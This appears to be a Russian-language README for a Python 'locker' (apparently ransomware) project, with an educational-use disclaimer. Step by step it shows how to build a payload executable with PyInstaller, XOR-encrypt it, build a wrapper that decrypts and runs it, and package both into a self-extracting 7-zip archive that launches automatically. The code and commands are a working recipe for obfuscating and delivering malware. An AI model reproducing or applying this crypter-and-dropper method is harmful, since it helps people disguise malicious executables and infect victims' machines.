DISCLAIMER: This software is for educational purposes only. This software should not be used for illegal activity. The author is not responsible for its use.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Это программное обеспечение предназначено только для образовательных целей. Это программное обеспечение не должно использоваться для незаконной деятельности. Автор не несет ответственности за его использование.
- Для начала нужно создать .exe полезной нагрузки в файле
main.pyw
, создается он выполнением сборщика(в IDE PyCharm я просто выделял эту область и нажимал выполнить выделенное в консоле)
import os
os.system("pyinstaller --onefile -w main.pyw")
- После получения экзешника с полезной нагрузкой, переходим к файлу
cipher.pyw
. На данном шаге, этот файл будет выполнять функцию получения шифрованной полезной нагрузки методом XOR. В абсолютном пути к файлу следуюет указать\\
для правильной интрепритации строки, либо использовать префексr''
перед строкой и использовать одиночный слеш.
xorKey = 'P'
# # # Coding
f = open('C:\\Users\\starw\\PycharmProjects\\locker\\dist\\main.exe', 'rb')
s = ''
for i in f:
s += i.decode('iso-8859-1')
ss = ''
for j in s:
xbyte = chr(ord(j) ^ ord(xorKey))
ss += xbyte
with open("examp3.exe", "wb") as f:
f.write(ss.encode('iso-8859-1'))
Примечание, в строке с decode
идет перевод байтов из кодировки iso-8859-1
в символьный вид. Функция ord
требуется для возврата числового значения символа, представляющее его позицию в юникод.
- После создания вредоносного exe. Файл
cipher.pyw
начинает выполнять другую функцию - а именно дешефратор и исполнитель вредоносного кода. На этом этапе следует закоментить часть кода из пункта2
и запустить сборку .exe исполнением следующего кода
import os
os.system("pyinstaller --onefile -w cipher.pyw")
- На этом этапе есть два .exe файла, один
examp3.exe
с зашифрованной полезной нагрузкой иmain.exe
с дешефратором и расшифрованной полезной нагрузки запускомexamp_d3.exe
. Нужно объеденить их в один exe. Для этого буду использовать 7-zip File Manager c функцией SFX архив(самораспаковывающийся архив). Но одной распоковки мало, требуется чтобы после выполнения распоковки выполнялся запускглавной
программы.
Закидываем в одну папку examp_d3.exe
и main.exe
. Создаем текстовый файл config.txt
в котором пишем следующее
;!@Install@!UTF-8!
Title=" "
RunProgram=" "
;!@InstallEnd@!
В Title
пишем свое название, RunProgram
пишем main.exe
Так же следует скачать LZMA SDK
и закинуть в папку файл 7zSD.sfx
С помощью 7-zip создаю самораспаковывающийся архив, в который входят examp3.exe
и main.exe
- Заходим в CMD, заходим в папку с файлами, и пишем
copy /b 7zSD.sfx + config.txt + SFX_архив название_инсталятора.exe